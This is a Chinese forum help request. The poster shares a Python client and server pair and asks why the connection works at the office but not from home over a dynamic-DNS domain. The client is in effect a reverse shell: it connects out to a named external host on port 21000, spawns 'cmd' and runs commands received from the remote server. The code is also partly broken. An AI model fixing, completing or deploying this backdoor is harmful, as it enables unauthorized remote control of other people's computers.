|
|
马上注册,结交更多好友,享用更多功能^_^
您需要 登录 才可以下载或查看,没有账号?立即注册
x
在公司的电脑上实验成功,可以正常通行(在一台电脑上实验的),但是在家里就不行,路由器已映射了内网端口,用的花生壳域名,一开始以为花生壳问题 去掉域名 直接上IP,还是不行,求帮忙解决,解决方法一定要说清楚,人笨,嘿嘿- client.py
- # -*- coding: utf-8 -*-
- from socket import *
- import os
- import shlex, subprocess
- Host = gethostbyname('paybackyu.oicp.net')
- #Host='36.62.187.154'
- print(Host)
- Port = 21000
- Csocket=socket(AF_INET,SOCK_STREAM)
- Csocket.connect((Host,Port))
- p = subprocess.Popen('cmd', stdin = subprocess.PIPE,\
- stdout = subprocess.PIPE, stderr = subprocess.PIPE, universal_newlines=False,shell =False)
- while True:
- data=Csocket.recv(1024)
- if not data:
- break
- p.stdin.write(data.decode('utf-8')+'\n')
- print(p.stdout.read())
- #else:
- # print('error')
- Csocket.close
复制代码- server.py
- # -*- coding: utf-8 -*-
- from socket import *
- Host = ''#主机名字
- Port = 21000#端口
- BufSize=1024#缓冲区
- Addr=(Host,Port)
- STest=socket(AF_INET,SOCK_STREAM)#写入套接字参数并初始化给STest
- STest.bind(Addr)
- STest.listen(5)#最大连接数
- print('等待连接')
- CTest,addr=STest.accept()#与客户端连接 返回客户端 主机信息 与套接字
- print(addr)#打印主机信息
- while True:
- #CTest.settimeout(5)
- data=input("input:")
- if not data:
- break
- CTest.send(data.encode())
- CTest.close()
- STest.close()
复制代码
|
|